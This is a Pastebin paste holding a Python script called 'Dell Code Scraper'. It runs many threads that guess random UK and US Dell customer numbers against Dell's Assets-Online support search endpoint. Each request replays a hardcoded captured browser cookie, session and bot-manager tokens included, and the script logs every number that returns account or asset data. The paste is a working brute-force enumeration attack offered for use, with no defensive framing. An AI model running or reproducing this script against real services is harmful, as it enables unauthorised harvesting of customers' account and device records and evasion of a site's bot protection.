Advertisement
Guest User

aaaaa

a guest
Apr 21st, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.49 KB | None | 0 0
  1. import threading, requests, random
  2.  
  3. code = 100000
  4. cookieData = 'dell_canary=live; akaas_AU_support=2147483647~rv=96~id=be621acc8b37dac627b56b9dfa7b1ee8; eSupId=SID=e3eb7e93-5200-48d5-9103-7f76e296df67&ld=20191013; check=true; rumCki=false; AMCVS_4DD80861515CAB990A490D45%40AdobeOrg=1; cidlid=%3A%3A; s_channelstack=%5B%5B%27Direct%2520Load%27%2C%271555175393372%27%5D%5D; sessionTime=2019%2C3%2C13%2C10%2C9%2C53%2C374; s_cc=true; TLGUID=72644469932192743224070416588417599058; ipe_s=5198d78f-c97e-c6ee-3980-6250ffa86662; lwp=c=uk&l=en&cs=ukdhs1&s=dhs; s_c49=c%3Duk%26l%3Den%26s%3Ddhs%26cs%3Dukdhs1; ASP.NET_SessionId=yg4enyyvaqsvnj55nnytgvz4; lvs=; _abck=DBA7786C6922B7E900713730F4940738~0~YAAQxiwOa3bK/LhpAQAAnMppGAEL3ffCwjws2uoQhShEBsIOfz/AfYFjPxEV6aeFH/JnpI5bA8xxoL0fo1kxsiORA3A81n8nUlgJyYXSQYpqneEkxZpcC4XRPEqzr/7loVF/cGxm8ZnL9sQ5WLpWMJYM6fJHryibafJ1Z7atLqy0RajvUPPaSw4kRVK0mLPbuCyCgXhS7OAVmB18+0HXlIc7f3PfaMhckglYRf4iUMajMj6UpD6C0bBTD78Xaah0uSpKOnlQk4b4ClRV+OnxcqTOjY7T1pD6jNztvLH50U/nOe/H0/J7~-1~-1~-1; dais-fp=jwkWff8aN865nA5Q5TvR4avI47xOrABEmk0dNr5cz4zrmeX0B5ZJLcfdStrQp7G6; bm_sz=3096DF2EE56124443C7C06B027CFF7EA~YAAQxiwOa9x2/bhpAQAAEdyQGANf0B0Fw3yi4UbgAZBFCdHVmII0ckXB9Av2gnIAd9NGd2MvM2PIREAin3Ayl8gdWrBvNE80mS92iW7ImXwa7pwEf+0fDGrrWLyyf3WcW8A9JMtvmfnej/LiUiOuWn+RvdDGMXCoUjOPXujVWc1x7TbvghMlewxJaZtl6Q==; s_dl=1; s_vnum=1586711393375%26vn%3D3; s_invisit=true; ak_bmsc=F3D8DC433E15B06AD58E536A7E1E4E506B0E2CC6F91700000965B25CE1BCE650~pltOIgPQmSbqgv4JVmHrRakT4QunUKirOCAQ2uQmPXeXCA1Wq3pG8PAaDOJ/LWIZ/3zuMbG5Ik8uFO2/fNCQiDjMeIADk9U10LdSbvHjjzMU6enD+nXaCTcM5ZLKxMz8ZovAHXo1dy5kyoEK0bHiIQUfSQGHJ9D5Uc0XJ8hFxLIdkwCEFZwZiJVoKRSwl/V8IH7/dXCzJHlAU6cxOmegoRrZn6iHsQsVx3Fj+SIbigMtnxwlQh3AaFbVsKzDT+Xfkf+J1pQii35wLelWjIowT7pU/shSn8iY9evFgs0T2OY9RQ/N407Gx68pkRyfJH5/bhhS5dTJmomPD5lGEVbcNX/A==; AMCV_4DD80861515CAB990A490D45%40AdobeOrg=-1176276602%7CMCIDTS%7C18000%7CMCMID%7C72644469932192743224070416588417599058%7CMCAID%7CNONE%7CMCOPTOUT-1555202346s%7CNONE%7CMCAAMLH-1555780193%7C9%7CMCAAMB-1555799946%7Cj8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI%7CMCSYNCSOP%7C411-18007; dais-a=DeJhr4J-rG20mdR6SN6fEJm9F7B0-fDkv2BIwgqT8PiYBHIftsg0am907liQVqz0lrte4Z317SKDXEqgnNdHXqEQYpw1; GAAuth=O/5O+8MAg+/MShPRGBYlk6oeOKhmGzuvXb89OI6UfOIwwX9OOMbF2w6OLSIYzke6N0csXRnN/GGOI4y3rmdmlXIhGxbnUR+V2CIqtA+CsEK2c6LhTVRIVuhPHLzJNe+1cOSQLD1MRGxJpIYU2nz9jF8XF9ufAHSJwZatbiGukn9Dk0mPv+sorrjKl0RQAXrLWaJ8OCoG7ypErIi53bJ2G6fjbEAknF8jul8k3UaMWUyXoTBrVyTkauwDeFaTlqQmVK47ytk6BQcnZ9/gQyHv5szQ5cSFidbU7lGOtBVPrOvPeCrBcMCHtoFExYM2ro9POxzX00RGU0Yw9bqOa5Wr3BchUz1zHhuYyDnwuKbBSAc2DeOZe00ZxwMeEXuQQrVcBo15xT/9bSBOMWVGSVshps1q7b8HFxRRVFaoP7xfNMuN1ZiPFN7N4w==; dais-c=+5T3RHeKQEUNpwz7TQUWDHczL0E8NzVWHIZIliG/XzNuMfc7GmaRUZZ9ZXD5FSOM9FlFk1Ak8jZgTL8x6j14uoOAClUrnKZu80J74xe56NcvfPBt5LvCMGOR+Eexp7GnUPuJH/5ktqo7ErQho84Uek6nXwdVI2SNii41Ra+wnuifyRxjdlGLay1XRfelBLTfjF0C6fWcGTdhgUT1QMCcSA==; dais-s=1MWpDtsbuXrgGvhWvMzimpT4HDdnfsobfc+0vNBq6KLn9T5+MWqyzx6LO8EJYbnccH4IPJP1ry/7gfW+B7o7MUrCpnpglFDmdpQFlrJpzgE=; mbox=PC#c6556274f8444fcc9cf65643f802865c.28_31#1618439946|session#b4c489f94f01401b921f1235e51b3607#1555197017; gpv_pn=uk%7Cen%7Cdhs%7Cukdhs1%7Cesupport-assets-online%7Clist%7Cindex; s_depth=2; s_ppv=uk%257Cen%257Cdhs%257Cukdhs1%257Cesupport-assets-online%257Clist%257Cindex%2C100%2C100%2C937; ipe.184.pageViewedCount=8; ipe_184_fov={"numberOfVisits":1,"sessionId":"5198d78f-c97e-c6ee-3980-6250ffa86662","expiry":"2019-05-13T17:09:55.344Z","lastVisit":"2019-04-13T22:39:17.396Z"}; RT="nu=&cl=1555195157932"; akavpau_maintenance_vp=1555195460~id=bdb0b8227fd24118c357ece538479d61; bm_sv=26D276E52540FB19237DF4CA6FC00E67~OutWQl2Y80FnWS7AN3o7kcPvnkGxkULhWN89DLavvCQh55N1cfaJXUl1Q/iDqBY8rZOqX03LRXzuggBjEkz0V/P7rjEoCQKhaPZ3T/xKTyN2CGF7iUrGPzX8RYvM71nEheeUee4cWRTsntvrLy2Jyg==; s_hwp=ukdhs1%7C%7Cnull%7C%7C13%3A4%3A2019%3A15%3A39%7C%7CY%7C%7CN%7C%7Cnull%7C%7C330%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; s_sq=%5B%5BB%5D%5D'
  5.  
  6. output_file = open('output.txt', 'a', encoding='UTF-8')
  7.  
  8. print('\nDell Code Scraper')
  9. print('Developed by Drew Snow\n')
  10.  
  11. print('UK [0] or US [1]:')
  12. option = input()
  13.  
  14. print('Threads:')
  15. threads = input()
  16.  
  17. print('')
  18.  
  19. def rand(length):
  20. r = ''
  21. for i in range(length):
  22. r += str(random.randint(0, 9))
  23. return r
  24.  
  25. def genCodeUK():
  26. code = 'GB146' + rand(4)
  27. return code
  28.  
  29. def genCodeUS():
  30. code = '1334' + rand(5)
  31. return code
  32.  
  33. def thread():
  34. global cookieData, output_file
  35. while True:
  36. code = 'xxxxxxxx'
  37. req = {'text': 0}
  38. if '0' in option:
  39. code = genCodeUK()
  40. req = requests.get(
  41. url='https://www.dell.com/support/Assets-Online/uk/en/ukdhs1/FindAddProduct/ProcessSearchResult',
  42. params={
  43. 'BUID': 202,
  44. 'IsWEN': False,
  45. 'SearchId': '',
  46. 'findByValue': code,
  47. 'isNewSearch': True,
  48. 'pageNumber': 1,
  49. 'pageSize': 25,
  50. 'selectedCountry': 'UK_202',
  51. 'selectedOption': 'CustomerNumber',
  52. 'sortColumn': 'ServiceTagNumber',
  53. 'sortOrder': True,
  54. },
  55. headers={
  56. 'accept': 'application/json, text/plain, */*',
  57. 'accept-language': 'en-US,en;q=0.9',
  58. 'cache-control': 'no-cache',
  59. 'if-modified-since': 'Mon, 26 Jul 1997 05:00:00 GMT',
  60. 'pragma': 'no-cache',
  61. 'referrer': 'https://www.dell.com/support/Assets-Online/uk/en/ukdhs1',
  62. 'referrerPolicy': 'unsafe-url',
  63. 'DNT': '1',
  64. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36',
  65. 'Cookie': cookieData
  66. }
  67. )
  68. else:
  69. code = genCodeUS()
  70. req = requests.get(
  71. url='https://www.dell.com/support/Assets-Online/uk/en/ukdhs1/FindAddProduct/ProcessSearchResult',
  72. params={
  73. 'BUID': 11,
  74. 'IsWEN': False,
  75. 'SearchId': '',
  76. 'findByValue': code,
  77. 'isNewSearch': True,
  78. 'pageNumber': 1,
  79. 'pageSize': 100,
  80. 'selectedCountry': 'US_11',
  81. 'selectedOption': 'CustomerNumber',
  82. 'sortColumn': 'ServiceTagNumber',
  83. 'sortOrder': True,
  84. },
  85. headers={
  86. 'accept': 'application/json, text/plain, */*',
  87. 'accept-language': 'en-US,en;q=0.9',
  88. 'cache-control': 'no-cache',
  89. 'if-modified-since': 'Mon, 26 Jul 1997 05:00:00 GMT',
  90. 'pragma': 'no-cache',
  91. 'referrer': 'https://www.dell.com/support/Assets-Online/uk/en/ukdhs1',
  92. 'referrerPolicy': 'unsafe-url',
  93. 'DNT': '1',
  94. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36',
  95. 'Cookie': cookieData
  96. }
  97. )
  98. if len(req.text) > 500:
  99. output_file.write(code + '\n')
  100. output_file.flush()
  101.  
  102. if 'Access Denied' in req.text:
  103. print('Bad Cookie')
  104.  
  105. for i in range(int(threads)):
  106. threading.Thread(target=thread).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement